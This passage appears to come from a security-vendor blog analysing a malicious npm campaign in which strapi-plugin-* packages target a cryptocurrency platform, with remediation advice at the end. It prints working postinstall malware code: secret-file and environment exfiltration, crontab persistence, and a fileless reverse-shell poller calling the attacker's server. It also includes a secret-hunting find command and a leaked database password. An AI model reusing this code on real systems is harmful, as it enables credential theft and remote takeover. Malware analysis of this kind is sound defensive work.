PostgreSQL角色枚举。​该脚本还转储所有数据库角色及其权限:

javascript
// package/postinstall.js (strapi-plugin-seed) var roles = await db.raw('SELECT rolname, rolsuper, rolcanlogin FROM pg_roles'); await post('/db/' + ID + '/pg-roles', JSON.stringify(roles.rows));

这揭示了user_strapi是否具有超级用户权限以及服务器上存在哪些其他账户。

C2轮询循环。​与载荷5一样,此载荷包含60轮轮询C2循环(5分钟),使用/db/<id>/路径命名空间和前缀为db-的会话ID。

载荷7:主机名门控持久性植入物([email protected]

[email protected]在第一批发布约8小时后在第二个npm账户(kekylf12 <[email protected]>)下发布。它代表了一个重大演进——这不再是抓取并获取的凭据收割器,而是一个持久性植入物,旨在在postinstall窗口之外存活。

主机名门控。​除非主机名与特定值匹配,否则脚本立即退出:

javascript
// package/postinstall.js ([email protected]) var hn = cp.execSync('hostname', { encoding: 'utf8' }).trim(); if (hn !== 'prod-strapi') process.exit(0);

这意味着攻击者知道其目标的生产主机名。该包在任何其他机器上都会静默无事——开发者工作站、具有不同主机名的CI运行器或预发布环境都会正常退出。

持久性C2脚本。​脚本不是内联运行C2循环(当postinstall完成时会死亡),而是将独立C2代理写入磁盘:

javascript
// package/postinstall.js ([email protected]) fs.writeFileSync('/tmp/.node_gc.js', c2script); var child = cp.spawn('node', ['/tmp/.node_gc.js'], { detached: true, stdio: 'ignore', env: process.env, }); child.unref();

该文件命名为.node_gc.js——一个与Node.js运行时文件融合的点文件。detached: truechild.unref()调用确保父进程退出后进程继续运行。内部的C2代理每3秒(比载荷5的5秒更快)轮询/shell/poll,并将命令输出发送到/shell/result

Crontab持久性。​脚本安装一个crontab条目,如果C2代理被终止则重新启动它:

javascript
// package/postinstall.js ([email protected]) cp.execSync( '(crontab -l 2>/dev/null; echo "* * * * * pgrep -f node_gc || node /tmp/.node_gc.js &") | sort -u | crontab -', { timeout: 5000 } );

这每分钟运行:如果没有找到匹配node_gc的进程,它会重新启动代理。sort -u管道在多次安装时对条目进行去重。

无凭据收割。​与早期载荷不同,此变体不窃取.env文件、Redis数据或私钥。它是一个纯访问维护工具——攻击者要么已经有凭据,要么计划通过C2通道交互式地收割凭据。

载荷8:无文件反向Shell + 有针对性凭据窃取([email protected]

在v3.6.8发布约3小时后,[email protected]是活动中最后也是最演进的载荷。它将有针对性凭据窃取与无文件持久性机制相结合,并揭示了攻击者预期受害者的具体细节。

有针对性的环境路径。​硬编码路径揭示了目标的基础设施:

javascript
// package/postinstall.js ([email protected]) // Read .env from build context (copied by Jenkins: cp /opt/secrets/strapi-green.env ./.env) var envPaths = [ '.env', '../.env', '../../.env', '/app/.env', '/opt/secrets/strapi-green.env', '/opt/secrets/.env', '/var/www/nowguardarian-strapi/.env', '/var/www/nowguardarian-strapi/nowguardarian-strapi.env', ];

引用Jenkins和路径/opt/secrets/strapi-green.env的注释表明攻击者了解目标的CI/CD管道。路径/var/www/nowguardarian-strapi/引用了似乎与"Guardarian"相关联的Strapi部署——一个加密货币支付网关。这与载荷5中的钱包文件窃取、载荷6中的直接Guardarian数据库探测、载荷2中的HOT_WALLET / COLD_WALLET搜索以及载荷1中的Guardarian API模块窃取一致——确认加密货币窃取从一开始就是这个活动的目标。

广泛的秘密目录扫描。​脚本读取/opt/secrets/中的每个文件和/var/www/*/下每个.env文件:

javascript
// package/postinstall.js ([email protected]) // Read ALL .env files in /opt/secrets/ try { var files = fs.readdirSync('/opt/secrets/'); for (var i = 0; i < files.length; i++) { try { var c = fs.readFileSync('/opt/secrets/' + files[i], 'utf8'); await p( '/build/' + ID + '/secret', JSON.stringify({ path: '/opt/secrets/' + files[i], content: c.slice(0, 50000) }) ); } catch (e) {} } } catch (e) {}

环境变量过滤。​与载荷5的原始env转储不同,此版本过滤掉npm_前缀的变量以减少噪音:

javascript
// package/postinstall.js ([email protected]) var env = {}; for (var k in process.env) if (!/^npm_/.test(k)) env[k] = process.env[k]; await p('/build/' + ID + '/proc-env', env);

无文件持久性反向shell。​最重要的演进:该脚本不是写入/tmp/(可被文件系统监控检测到),而是生成一个脱离的node -e进程,并将整个C2代理作为内联字符串传递:

javascript
// package/postinstall.js ([email protected]) var child = cp.spawn( 'node', [ '-e', 'var h=require("http"),e=require("child_process").execSync;function poll(){' + 'h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/poll",method:"POST",' + 'headers:{"Content-Type":"text/plain","Content-Length":2}},function(r){' + 'var d="";r.on("data",function(c){d+=c});r.on("end",function(){' + 'if(d&&d.trim()&&d.trim()!="nop"){try{var o=e(d.trim(),{timeout:30000,encoding:"utf8",maxBuffer:5e6});' + 'var rq=h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/result",method:"POST",' + 'headers:{"Content-Type":"text/plain","Content-Length":Buffer.byteLength(o)}});rq.write(o);rq.end()' + '}catch(x){}}setTimeout(poll,3000)})}).on("error",function(){setTimeout(poll,10000)}).end("{}");}poll();', ], { detached: true, stdio: 'ignore' } ); child.unref();

没有文件写入磁盘。C2代理仅作为运行进程存在,使其对基于文件的检测工具不可见。它轮询/bshell/poll(一个新路径,与载荷5的/c2/和载荷7的/shell/命名空间不同),表明攻击者在服务器端按载荷变体跟踪受害者。

无crontab持久性。​与载荷7不同,此版本不安装crontab条目——攻击者为了躲避检测而牺牲了重启存活能力。C2路径前缀从信标阶段的/c2/变为/build/,进一步表明攻击者正在按来源隔离C2流量。

载荷演进时间线

八个载荷展示了一个清晰的叙事:攻击者从激进开始(Redis RCE、Docker逃逸),发现这些方法不起作用,转向侦察和数据收集,使用硬编码凭据直接访问数据库,最终确定持久性访问和有针对性凭据窃取。

方面P1 (cron)P2 (config)P3 (4个包)P4 (monitor)P5 (events)P6 (seed)P7 ([email protected])P8 ([email protected])
主要目标Redis RCE容器逃逸获取shell侦察全面侦察数据库窃取持久性访问有针对性窃取+访问
目标门控TRANSFER检查TRANSFER检查TRANSFER检查 + hostname.includes('prod')win32检查win32检查win32检查hostname === 'prod-strapi'win32检查
Redis滥用CONFIG SET写入crontab、webshell、SSH密钥CONFIG SET写入overlay、/tmp、/dev/shm、node_modulesCONFIG SET写入/tmp,执行结果只读(INFO、KEYS)只读(INFO、DBSIZE、KEYS)
数据库访问使用硬编码凭据直接访问PostgreSQL
反向shell无(通过Redis crontab)Python (:4444)Bash (:4444)、Python (:8888)、curl持久性脱离无文件脱离
磁盘访问dd + mknoddd + mknod(扩展)
凭据窃取Guardarian API模块从原始磁盘获取钱包/ES凭据8阶段侦察11阶段侦察数据库转储+跨DB枚举有针对性路径 + /opt/secrets
C2生命周期单次窃取单次窃取单次窃取约2.5分钟轮询约5分钟轮询约5分钟轮询无限期(crontab)无限期(无文件)
窃取前缀/exfil/cr-/exfil/cf-/exfil/sv-/c2/<id>//c2/<id>//db/<id>//shell//build/<id>/ + /bshell/

动态分析

我们的动态分析管道用两个信号标记了strapi-plugin-events:通过find命令进行的Stage-9秘密收集,以及Stage-11 C2通信。

捕获的命令如下:

bash
find / -maxdepth 4 ( -name *.pem -o -name *.key -o -name id_rsa* -o -name wallet* -o -name *private* -o -name *secret* ) ! -path */ssl/certs/* ! -path */node_modules/* -type f

以下是记录的外向网络连接:

strapi-plugin-events-ip-aggr.csv

idcreated_atanalysis_idip_addressport
11341895542026年4月3日凌晨4:0001KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
21341895352026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
31341894982026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
41341894412026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
51341894402026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
61341893912026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
71341893632026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
81341893222026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
91341892972026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
101341892682026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
111341892372026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
121341892242026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
131341892232026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
141341892222026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
151341892072026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
161341892062026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
171341892052026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
181341891902026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
191341891832026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
201341891702026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
211341891692026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
221341891682026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
231341891672026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
241341891662026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW144.31.107.2319999
251341891652026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.2.34443
261341891642026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.2.34443
271341891632026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.6.340
281341891622026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.4.340
291341891612026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.0.340
301341891602026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.11.340
311341891592026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.3.340
321341891582026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.10.340
331341891572026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.7.340
341341891562026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.9.340
351341891552026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.8.340
361341891542026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.1.340
371341891532026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.5.340
381341891522026年4月3日凌晨3:5901KN8QBD8NSYX5BHWQZR1Y94SW104.16.2.340

38行

| 5列

沙箱记录了24个到144.31.107.231:9999(硬编码C2服务器)的外向连接,跨越完整的postinstall执行窗口(从信标到轮询循环)。104.16.x.34条目是在npm包解析期间联系的Cloudflare IP。

显著特征

该活动专门针对Strapi CMS部署进行工程设计:

  • 所有十个包名遵循strapi-plugin-*命名约定
  • 文件路径针对Strapi的配置目录布局(/app/config/database.js/app/config/plugins.js
  • 环境变量路径针对常见的Strapi Docker镜像约定(/home/strapi/.env/app/.env
  • Redis利用针对通常用作Strapi缓存后端的默认本地实例
  • 所有包跳过Windows主机,仅专注于Linux服务器和容器

该活动显示针对特定加密货币平台的有针对性入侵迹象:

  • 载荷1从/app/exteranl-apis窃取Guardarian API模块(拼写错误与目标实际目录名匹配)
  • 载荷2在原始磁盘中搜索HOT_WALLETCOLD_WALLETDEPOSIT_ADDRESSMNEMONIC
  • 载荷3对hostname.includes('prod')进行门控,表明了解目标命名约定
  • 载荷6使用硬编码凭据连接PostgreSQL,并明确探测名为guardarianguardarian_paymentsexchangecustody的数据库
  • 载荷7对hostname === 'prod-strapi'进行门控,表明精确了解生产主机名
  • 载荷8引用/var/www/nowguardarian-strapi//opt/secrets/strapi-green.env
  • 载荷8中的代码注释引用Jenkins:// copied by Jenkins: cp /opt/secrets/strapi-green.env ./.env
  • 使用第二个npm账户(kekylf12)针对变体表明操作隔离

所有十个包都未使用混淆。源代码是可读的JavaScript,表明攻击者优先考虑开发速度而非隐蔽性。完整的八载荷演进——从Redis RCE到无文件持久性——在单个13小时会话中发生。

结论

这次活动让我们难得地窥见了攻击者的实时开发过程。在13小时内,操作者发布了十个具有八个独立载荷的包,每个迭代都根据针对目标的实际情况(可能工作或不工作)做出响应:

  1. 第0-1小时(载荷1-2):激进的Redis RCE利用——crontab注入、webshell写入、SSH密钥注入、Docker overlay逃逸、原始磁盘读取。这些技术对不受保护的Redis实例可能是毁灭性的,但需要启用CONFIG SET(在Redis 6+中默认禁用)。
  2. 第1-2小时(载荷3,发布4次):简化的直接反向shell——攻击者放弃Redis利用,转向直接的bash和Python shell,表明Redis方法失败了。
  3. 第2小时(载荷4-5):转向侦察——攻击者不再尝试获取shell,而是收集凭据、环境变量和秘密供以后使用。
  4. 第3小时(载荷6):直接数据库利用——攻击者使用硬编码PostgreSQL凭据转储Strapi数据,枚举服务器上的所有数据库,并探测Guardarian支付和托管数据库。真实凭据(user_strapi / 1QKtYPp18UsyU2ZwInVM)的存在证实了先前对目标的访问。
  5. 第10-13小时(载荷7-8):有针对性的持久性访问——攻击者切换到第二个npm账户并部署持久性植入物,具有目标主机名、CI管道和秘密目录布局的具体知识。

Guardarian引用从载荷1开始出现(/app/exteranl-apisHOT_WALLETCOLD_WALLETMNEMONICguardarian_payments/var/www/nowguardarian-strapi/),确认这从一开始就是针对加密货币支付平台的有针对性活动——不是随时间推移变得有针对性的机会主义喷洒。载荷6中的硬编码数据库密码证明这不是攻击者与目标基础设施的首次互动。

如果你安装了这些十个包中的任何一个,请假定已被完全入侵。轮换所有可从受感染主机访问的凭据,包括数据库密码、API密钥、JWT密钥以及在文件系统中发现的任何私钥。如果1QKtYPp18UsyU2ZwInVM在任何地方使用,必须立即轮换PostgreSQL密码。撤销可能已被暴露的任何Kubernetes服务账户令牌。检查持久性机制:移除/tmp/.node_gc.js/tmp/vps_shell.sh/tmp/redis_exec.sh/app/public/uploads/shell.php;审计crontab条目中是否有node_gccurl引用;使用CONFIG GET dir审计Redis以验证它未被重新配置;并终止任何连接到144.31.107.231的孤立node -e进程。

使用vet等工具在恶意包到达生产环境之前扫描你的依赖树,并在安装时使用pmg阻止恶意包。

  • vet
  • 恶意软件
  • 供应链安全
  • npm
  • 凭据窃取
  • C2
  • 有针对性攻击
  • 持久性
  • Redis RCE

SafeDep博客最新动态

关注以获取开源安全与工程的最新更新和见解